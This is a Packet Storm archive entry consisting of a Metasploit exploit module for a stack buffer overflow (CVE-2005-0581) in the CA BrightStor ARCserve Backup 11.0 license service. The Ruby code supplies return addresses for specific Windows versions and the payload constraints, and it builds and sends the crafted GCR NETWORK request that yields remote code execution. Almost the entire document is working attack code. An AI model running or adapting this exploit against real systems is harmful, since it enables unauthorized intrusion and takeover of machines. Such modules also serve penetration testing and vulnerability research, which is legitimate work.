CA BrightStor ARCserve License Service GCR NETWORK Buffer Overflow

2009-11-26T00:00:00
ID PACKETSTORM:82942
Type packetstorm
Reporter MC
Modified 2009-11-26T00:00:00

Description

                                        
                                            `##  
# This file is part of the Metasploit Framework and may be subject to   
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
  
include Msf::Exploit::Remote::Tcp  
  
def initialize(info = {})  
super(update_info(info,   
'Name' => 'CA BrightStor ARCserve License Service GCR NETWORK Buffer Overflow',  
'Description' => %q{  
This module exploits a stack overflow in Computer Associates BrightStor ARCserve Backup 11.0.   
By sending a specially crafted request to the lic98rmtd.exe service, an attacker   
could overflow the buffer and execute arbitrary code.  
},  
'Author' => [ 'MC' ],  
'License' => MSF_LICENSE,  
'Version' => '$Revision$',  
'References' =>  
[  
[ 'CVE', '2005-0581' ],  
[ 'OSVDB', '14389' ],  
[ 'BID', '12705' ],  
],  
'Privileged' => true,  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'thread',  
},  
'Payload' =>  
{  
'Space' => 500,  
'BadChars' => "\x00\x09\x0a\x0d\x20\x0c\x25\x26\x27\x0b\x2b\x2f\x3a\x3c\x3e\x3f\x40",  
'StackAdjustment' => -3500,  
'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",  
},  
'Platform' => 'win',  
'Targets' =>  
[   
[ 'Windows 2003 SP0 English', { 'Ret' => 0x71ae1f9b } ], # JMP ESP wshtcpip.dll  
[ 'Windows 2000 SP4 English', { 'Ret' => 0x7c30d043 } ], # JMP ESP advapi32.dll  
],   
'DisclosureDate' => 'Mar 2 2005',  
'DefaultTarget' => 0))  
  
register_options([ Opt::RPORT(10202) ], self.class)   
end  
  
def exploit  
connect  
  
buff = rand_text_alpha_upper(256) + [target.ret].pack('V')  
buff << make_nops(12) + payload.encoded  
  
# NETWORK<x.x.x.x buff x.x.x.x.x> ... worked for me.   
sploit = "A0 GCR NETWORK<#{buff}>RMTV<1.00><EOM>"  
  
print_status("Trying target #{target.name}...")  
  
sock.puts(sploit)  
  
handler  
disconnect  
end  
  
end  
`